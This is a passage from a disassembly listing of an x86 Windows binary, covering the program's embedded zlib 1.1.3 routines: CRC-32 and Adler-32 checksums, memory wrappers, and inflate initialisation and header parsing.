ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4346A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4346A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] xor eax, edx and eax, 0FFh mov ecx, [ebp+arg_0] shr ecx, 8 mov edx, dword_4346A4[eax*4] xor edx, ecx mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_8] sub ecx, 8 mov [ebp+arg_8], ecx jmp loc_42D7DE ; --------------------------------------------------------------------------- loc_42D956: ; CODE XREF: sub_42D7C5+1Dj cmp [ebp+arg_8], 0 jz short loc_42D998 loc_42D95C: ; CODE XREF: sub_42D7C5+1D1j mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_0] xor ecx, eax and ecx, 0FFh mov edx, [ebp+arg_0] shr edx, 8 mov eax, dword_4346A4[ecx*4] xor eax, edx mov [ebp+arg_0], eax mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx cmp [ebp+arg_8], 0 jnz short loc_42D95C loc_42D998: ; CODE XREF: sub_42D7C5+195j mov eax, [ebp+arg_0] xor eax, 0FFFFFFFFh loc_42D99E: ; CODE XREF: sub_42D7C5+Bj pop ebp retn sub_42D7C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D9A0 proc near ; DATA XREF: sub_42DD45+133o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] and eax, 0FFFFh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] shr ecx, 10h and ecx, 0FFFFh mov [ebp+var_8], ecx cmp [ebp+arg_4], 0 jnz short loc_42D9D0 mov eax, 1 jmp loc_42DC13 ; --------------------------------------------------------------------------- loc_42D9D0: ; CODE XREF: sub_42D9A0+24j ; sub_42D9A0+265j cmp [ebp+arg_8], 0 jbe loc_42DC0A cmp [ebp+arg_8], 15B0h jnb short loc_42D9EB mov edx, [ebp+arg_8] mov [ebp+var_10], edx jmp short loc_42D9F2 ; --------------------------------------------------------------------------- loc_42D9EB: ; CODE XREF: sub_42D9A0+41j mov [ebp+var_10], 15B0h loc_42D9F2: ; CODE XREF: sub_42D9A0+49j mov eax, [ebp+var_10] mov [ebp+var_C], eax mov ecx, [ebp+arg_8] sub ecx, [ebp+var_C] mov [ebp+arg_8], ecx loc_42DA01: ; CODE XREF: sub_42D9A0+20Cj cmp [ebp+var_C], 10h jl loc_42DBB1 mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+2] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+3] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+4] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+5] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+6] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+7] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+8] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+9] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+0Ah] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+0Bh] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+0Ch] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+0Dh] mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+0Eh] mov eax, [ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+0Fh] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] add eax, 10h mov [ebp+arg_4], eax mov ecx, [ebp+var_C] sub ecx, 10h mov [ebp+var_C], ecx jmp loc_42DA01 ; --------------------------------------------------------------------------- loc_42DBB1: ; CODE XREF: sub_42D9A0+65j cmp [ebp+var_C], 0 jz short loc_42DBE7 loc_42DBB7: ; CODE XREF: sub_42D9A0+245j mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx cmp [ebp+var_C], 0 jnz short loc_42DBB7 loc_42DBE7: ; CODE XREF: sub_42D9A0+215j mov eax, [ebp+var_4] xor edx, edx mov ecx, 0FFF1h div ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] xor edx, edx mov ecx, 0FFF1h div ecx mov [ebp+var_8], edx jmp loc_42D9D0 ; --------------------------------------------------------------------------- loc_42DC0A: ; CODE XREF: sub_42D9A0+34j mov eax, [ebp+var_8] shl eax, 10h or eax, [ebp+var_4] loc_42DC13: ; CODE XREF: sub_42D9A0+2Bj mov esp, ebp pop ebp retn sub_42D9A0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, offset a1_1_3 ; "1.1.3" pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 2 sub eax, [ebp+8] mov eax, off_4332D0[eax*4] pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DC35 proc near ; DATA XREF: sub_42DD45+68o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_42DC4C mov eax, [ebp+arg_8] sub eax, [ebp+arg_8] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+arg_4], ecx loc_42DC4C: ; CODE XREF: sub_42DC35+7j mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call dword_433208 ; calloc add esp, 8 pop ebp retn sub_42DC35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DC5F proc near ; DATA XREF: sub_42DD45+85o arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax call dword_4331D4 ; free add esp, 4 pop ebp retn sub_42DC5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DC71 proc near ; CODE XREF: sub_42DD45+172p arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_42DC83 mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jnz short loc_42DC8A loc_42DC83: ; CODE XREF: sub_42DC71+7j mov eax, 0FFFFFFFEh jmp short loc_42DCDA ; --------------------------------------------------------------------------- loc_42DC8A: ; CODE XREF: sub_42DC71+10j mov ecx, [ebp+arg_0] mov dword ptr [ecx+14h], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], 0 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+0Ch] neg eax sbb eax, eax and eax, 7 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx], eax push 0 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+14h] push eax call sub_42B04E add esp, 0Ch xor eax, eax loc_42DCDA: ; CODE XREF: sub_42DC71+17j pop ebp retn sub_42DC71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DCDC proc near ; CODE XREF: sub_42DD45+FEp ; sub_42DD45+15Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_42DCF7 mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jz short loc_42DCF7 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+24h], 0 jnz short loc_42DCFE loc_42DCF7: ; CODE XREF: sub_42DCDC+7j ; sub_42DCDC+10j mov eax, 0FFFFFFFEh jmp short loc_42DD43 ; --------------------------------------------------------------------------- loc_42DCFE: ; CODE XREF: sub_42DCDC+19j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp dword ptr [eax+14h], 0 jz short loc_42DD20 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+14h] push ecx call sub_42C565 add esp, 8 loc_42DD20: ; CODE XREF: sub_42DCDC+2Cj mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_0] call dword ptr [eax+24h] add esp, 8 mov ecx, [ebp+arg_0] mov dword ptr [ecx+1Ch], 0 xor eax, eax loc_42DD43: ; CODE XREF: sub_42DCDC+20j pop ebp retn sub_42DCDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DD45 proc near ; CODE XREF: sub_42F940+163p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], offset a1_1_3_0 ; "1.1.3" mov [ebp+var_C], 38h cmp [ebp+var_4], 0 jz short loc_42DD76 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] movsx edx, ds:byte_43786C cmp ecx, edx jnz short loc_42DD76 cmp [ebp+var_C], 38h jz short loc_42DD80 loc_42DD76: ; CODE XREF: sub_42DD45+18j ; sub_42DD45+29j mov eax, 0FFFFFFFAh jmp loc_42DEC1 ; --------------------------------------------------------------------------- loc_42DD80: ; CODE XREF: sub_42DD45+2Fj mov [ebp+var_8], 0FFFFFFF1h cmp [ebp+arg_0], 0 jnz short loc_42DD97 mov eax, 0FFFFFFFEh jmp loc_42DEC1 ; --------------------------------------------------------------------------- loc_42DD97: ; CODE XREF: sub_42DD45+46j mov eax, [ebp+arg_0] mov dword ptr [eax+18h], 0 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+20h], 0 jnz short loc_42DDBE mov edx, [ebp+arg_0] mov dword ptr [edx+20h], offset sub_42DC35 mov eax, [ebp+arg_0] mov dword ptr [eax+28h], 0 loc_42DDBE: ; CODE XREF: sub_42DD45+63j mov ecx, [ebp+arg_0] cmp dword ptr [ecx+24h], 0 jnz short loc_42DDD1 mov edx, [ebp+arg_0] mov dword ptr [edx+24h], offset sub_42DC5F loc_42DDD1: ; CODE XREF: sub_42DD45+80j push 18h push 1 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+20h] add esp, 0Ch mov ecx, [ebp+arg_0] mov [ecx+1Ch], eax mov edx, [ebp+arg_0] cmp dword ptr [edx+1Ch], 0 jnz short loc_42DDFE mov eax, 0FFFFFFFCh jmp loc_42DEC1 ; --------------------------------------------------------------------------- loc_42DDFE: ; CODE XREF: sub_42DD45+ADj mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx+14h], 0 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+0Ch], 0 cmp [ebp+var_8], 0 jge short loc_42DE33 mov ecx, [ebp+var_8] neg ecx mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+0Ch], 1 loc_42DE33: ; CODE XREF: sub_42DD45+D7j cmp [ebp+var_8], 8 jl short loc_42DE3F cmp [ebp+var_8], 0Fh jle short loc_42DE52 loc_42DE3F: ; CODE XREF: sub_42DD45+F2j mov ecx, [ebp+arg_0] push ecx call sub_42DCDC add esp, 4 mov eax, 0FFFFFFFEh jmp short loc_42DEC1 ; --------------------------------------------------------------------------- loc_42DE52: ; CODE XREF: sub_42DD45+F8j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [ebp+var_8] mov [eax+10h], ecx mov edx, 1 mov ecx, [ebp+var_8] shl edx, cl push edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] neg edx sbb edx, edx not edx and edx, offset sub_42D9A0 push edx mov eax, [ebp+arg_0] push eax call sub_42B105 add esp, 0Ch mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+14h], eax mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp dword ptr [ecx+14h], 0 jnz short loc_42DEB3 mov edx, [ebp+arg_0] push edx call sub_42DCDC add esp, 4 mov eax, 0FFFFFFFCh jmp short loc_42DEC1 ; --------------------------------------------------------------------------- loc_42DEB3: ; CODE XREF: sub_42DD45+159j mov eax, [ebp+arg_0] push eax call sub_42DC71 add esp, 4 xor eax, eax loc_42DEC1: ; CODE XREF: sub_42DD45+36j ; sub_42DD45+4Dj ... mov esp, ebp pop ebp retn sub_42DD45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DEC5 proc near ; CODE XREF: sub_42FB02+26Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_42DEE2 mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jz short loc_42DEE2 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0 jnz short loc_42DEEC loc_42DEE2: ; CODE XREF: sub_42DEC5+Aj ; sub_42DEC5+13j mov eax, 0FFFFFFFEh jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42DEEC: ; CODE XREF: sub_42DEC5+1Bj xor edx, edx cmp [ebp+arg_4], 4 setnz dl dec edx and edx, 0FFFFFFFBh mov [ebp+arg_4], edx mov [ebp+var_8], 0FFFFFFFBh loc_42DF03: ; CODE XREF: sub_42DEC5:loc_42E548j mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx] mov [ebp+var_C], edx cmp [ebp+var_C], 0Dh ja loc_42E541 mov eax, [ebp+var_C] jmp off_42E551[eax*4] loc_42DF22: ; DATA XREF: TEUm:off_42E551o mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_42DF33 mov eax, [ebp+var_8] jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42DF33: ; CODE XREF: sub_42DEC5+64j mov edx, [ebp+arg_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov ecx, [eax] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ecx+4], edx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+4] and ecx, 0Fh mov edx, [ebp+arg_0] mov eax, [edx] add eax, 1 mov edx, [ebp+arg_0] mov [edx], eax cmp ecx, 8 jz short loc_42DFAF mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 0Dh mov edx, [ebp+arg_0] mov dword ptr [edx+18h], offset aUnknownCompres ; "unknown compression method" mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx+4], 5 jmp loc_42E548 ; --------------------------------------------------------------------------- loc_42DFAF: ; CODE XREF: sub_42DEC5+C0j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+4] shr ecx, 4 add ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp ecx, [eax+10h] jbe short loc_42DFF1 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Dh mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidWindowS ; "invalid window size" mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx+4], 5 jmp loc_42E548 ; --------------------------------------------------------------------------- loc_42DFF1: ; CODE XREF: sub_42DEC5+102j mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 1 loc_42DFFD: ; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E555o mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_42E00E mov eax, [ebp+var_8] jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42E00E: ; CODE XREF: sub_42DEC5+13Fj mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx] xor eax, eax mov al, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+4] shl eax, 8 add eax, [ebp+var_4] xor edx, edx mov ecx, 1Fh div ecx test edx, edx jz short loc_42E08F mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Dh mov ecx, [ebp+arg_0] mov dword ptr [ecx+18h], offset aIncorrectHeade ; "incorrect header check" mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+4], 5 jmp loc_42E548 ; --------------------------------------------------------------------------- loc_42E08F: ; CODE XREF: sub_42DEC5+1A0j mov ecx, [ebp+var_4] and ecx, 20h test ecx, ecx jnz short loc_42E0AA mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 7 jmp loc_42E548 ; --------------------------------------------------------------------------- loc_42E0AA: ; CODE XREF: sub_42DEC5+1D2j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 2 loc_42E0B6: ; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E559o mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_42E0C7 mov eax, [ebp+var_8] jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42E0C7: ; CODE XREF: sub_42DEC5+1F8j mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_0] mov eax, [edx] xor ecx, ecx mov cl, [eax] shl ecx, 18h mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [eax+8], ecx mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 3 loc_42E119: ; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E55Do mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_42E12A mov eax, [ebp+var_8] jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42E12A: ; CODE XREF: sub_42DEC5+25Bj mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [ebp+arg_0] mov edx, [ecx] xor ecx, ecx mov cl, [edx] shl ecx, 10h mov edx, [eax+8] add edx, ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ecx+8], edx mov edx, [ebp+arg_0] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 4 loc_42E187: ; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E561o mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_42E198 mov eax, [ebp+var_8] jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42E198: ; CODE XREF: sub_42DEC5+2C9j mov edx, [ebp+arg_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ebp+arg_0] mov eax, [edx] xor edx, edx mov dl, [eax] shl edx, 8 mov eax, [ecx+8] add eax, edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+8], eax mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 5 loc_42E1F5: ; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E565o mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_42E206 mov eax, [ebp+var_8] jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42E206: ; CODE XREF: sub_42DEC5+337j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [ebp+arg_0] mov ecx, [eax] xor eax, eax mov al, [ecx] mov ecx, [edx+8] add ecx, eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [eax+8], ecx mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [ebp+arg_0] mov ecx, [edx+8] mov [eax+30h], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 6 mov eax, 2 jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42E279: ; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E569o mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Dh mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aNeedDictionary ; "need dictionary" mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx+4], 0 mov eax, 0FFFFFFFEh jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42E2A6: ; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E56Do mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+14h] push ecx call sub_42B1FD add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFDh jnz short loc_42E2E7 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Dh mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx+4], 0 jmp loc_42E548 ; --------------------------------------------------------------------------- loc_42E2E7: ; CODE XREF: sub_42DEC5+402j cmp [ebp+var_8], 0 jnz short loc_42E2F3 mov eax, [ebp+arg_4] mov [ebp+var_8], eax loc_42E2F3: ; CODE XREF: sub_42DEC5+426j cmp [ebp+var_8], 1 jz short loc_42E301 mov eax, [ebp+var_8] jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42E301: ; CODE XREF: sub_42DEC5+432j mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] add eax, 4 push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+14h] push ecx call sub_42B04E add esp, 0Ch mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp dword ptr [eax+0Ch], 0 jz short loc_42E344 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Ch jmp loc_42E548 ; --------------------------------------------------------------------------- loc_42E344: ; CODE XREF: sub_42DEC5+46Cj mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 8 loc_42E350: ; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E571o mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_42E361 mov eax, [ebp+var_8] jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42E361: ; CODE XREF: sub_42DEC5+492j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx] xor eax, eax mov al, [edx] shl eax, 18h mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+8], eax mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 9 loc_42E3B3: ; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E575o mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_42E3C4 mov eax, [ebp+var_8] jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42E3C4: ; CODE XREF: sub_42DEC5+4F5j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [ebp+arg_0] mov ecx, [eax] xor eax, eax mov al, [ecx] shl eax, 10h mov ecx, [edx+8] add ecx, eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [eax+8], ecx mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Ah loc_42E421: 